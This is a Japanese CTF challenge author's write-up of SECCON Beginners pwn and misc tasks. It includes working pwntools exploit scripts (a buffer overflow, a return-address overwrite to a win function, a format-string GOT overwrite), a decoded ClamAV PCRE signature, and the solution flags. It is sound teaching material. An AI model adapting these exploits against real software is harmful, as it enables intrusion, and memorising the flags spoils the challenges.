問題

私が作問に関わったのは以下の問題です

Pwn

Misc

Writeup

作問者Writeupは正解という訳では無く、あくまで一例です。皆様独自のWriteupをお待ちしております。

Pwn

simpleoverflow

自明なオーバーフローです

Solve数がWelcomeに続いてデカくて嬉しいです

#!/usr/bin/env python3
from wn import context, ELF, remote
import os

HOST = os.getenv("CTF4B_HOST", "localhost")
PORT = int(os.getenv("CTF4B_PORT", "9000"))

context.log_level = "critical"
binfile = "./chall"
e = ELF(binfile)
context.binary = binfile

p = remote(HOST, PORT)

payload = b"a" * 0x10
assert len(payload) <= 0x10

p.sendlineafter(b"name:", payload)
p.readline()
print(p.readline().decode(), end="")

問題文に書いたとおり、Cでは0以外の値がTrueとして扱われます。bufis_adminはスタック上で連続しているので、bufのサイズよりも大きな文字列を投げるとis_adminが書き換わります。

flag: ctf4b{0n_y0ur_m4rk}

simpleoverwrite

こちらも自明にBOFです

buf[10]に対し、read(0, buf, 0x20)しています。また、flag.txtを読み出してくれるwin関数が用意されています。

[0x004010a0]> iI |rg '(canary|pic)'
canary   false
pic      false

canaryもpicも無いので、リターンアドレスをwinにしましょう。

#!/usr/bin/env python3
from pwn import context,ELF,remote,p64
import os

HOST = os.getenv("CTF4B_HOST", "localhost")
PORT = int(os.getenv("CTF4B_PORT", "9001"))

context.log_level = "critical"
binfile = "./chall"
e = ELF(binfile)
context.binary = binfile

p = remote(HOST, PORT)

payload = b"a" * 18 + p64(e.sym["win"])
assert len(payload) <= 0x20

p.sendlineafter(b"input:", payload)
p.readline()
p.readline()
print(p.readline().decode(), end="")

flag: ctf4b{B3l13v3_4g41n}

pure_and_easy

FSBです。またFSBでSolveが一気に減った

[0x004010c0]> iI | rg relro
relro    partial

winがあり、自明なFSBもある上、RELROがPartialなのでGOT Overwriteします

#!/usr/bin/env python3
from pwn import context, ELF, process, FmtStr, fmtstr_payload, remote
import os

HOST = os.getenv("CTF4B_HOST", "localhost")
PORT = int(os.getenv("CTF4B_PORT", "9000"))

context.log_level = "critical"
binfile = "./chall"
context.binary = binfile
e = ELF(binfile)


def exec_fmt(payload):
    p = process(binfile)
    p.sendline(payload)
    return p.readline()


autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

got_puts = e.got['exit']
win = e.sym['win']

payload = fmtstr_payload(offset, {got_puts: win})
p = remote(HOST, PORT)
p.sendlineafter(b'> ', payload)
p.recvuntil(b'ctf4b')
print('ctf4b'+p.readline().decode('utf-8', 'ignore'), end='')

flag: ctf4b{Y0u_R34lly_G0T_M3}

clamre

去年はYaraだったので今年はClamAVです。

Miscの問題数が少なかったのでひねり出しました。

ClamAVのシグネチャを知ってほしかったのと、脳内正規表現エンジンを育ててほしかったという願望があります。

が、まぁクソ面倒な問題なので後回しだと思います。

ClamAVのシグネチャについてはいくつか種類があり、ldbではPCREが使えます。

ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

要はこれにマッチする文字列がFlagなので、気合で読みます。

キャプチャが大量に使われているので、横に数付けて読みやすくすると

1: (
2:     (\x63\x74\x66)   "ctf"
3:     (4)              "4"
4:     (\x62)           "b"
5:     (\{B)            "{B"
6:     (\x72)           "r"
7:     (\x33)           "3"
       \3               "4"
8:     (\x6b1)          "k1"
9:     (\x6e\x67)       "ng"
10:    (\x5f)           "_"
       \3               "4"
11:    (\x6c)           "l"
       \11              "l"
       \10              "_"
12:    (\x54\x68)       "Th"
       \7               "3"
       \10              "_"
13:    (\x480)          "H0"
14:    (\x75)           "u"
15:    (5)              "5"
       \7               "3"
       \10              "_"
16:    (\x52)           "R"
       \14              "u"
       \11              "l"
       \7               "3"
17:    (5)              "5"
       \}               "}"
   )

という感じです

他のdbについても読み方をブログにしていきたいと思っています。

hashdbはここ、あとldbの他のフォーマットについては社のテックブログで触れました。

flag: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

感想

難しいという意見をいただきますが、CTFに最初に参加するような初心者の場合は各ジャンルのBeginnerだけでも解ければすごいと思います。

逆に、何年もやっている人はそれぞれ自分の得意・好きなジャンルでMedium程度まで解ければ十分初心者を脱しているんじゃないかと思います。

Beginnersなので全部の問題を簡単な方に倒しても誰も怒らないとは思うんですが、そこまで簡単な問題はCpawやPicoCTFにたくさん落ちていると思うので、まぁ。

常設やりたいですよね。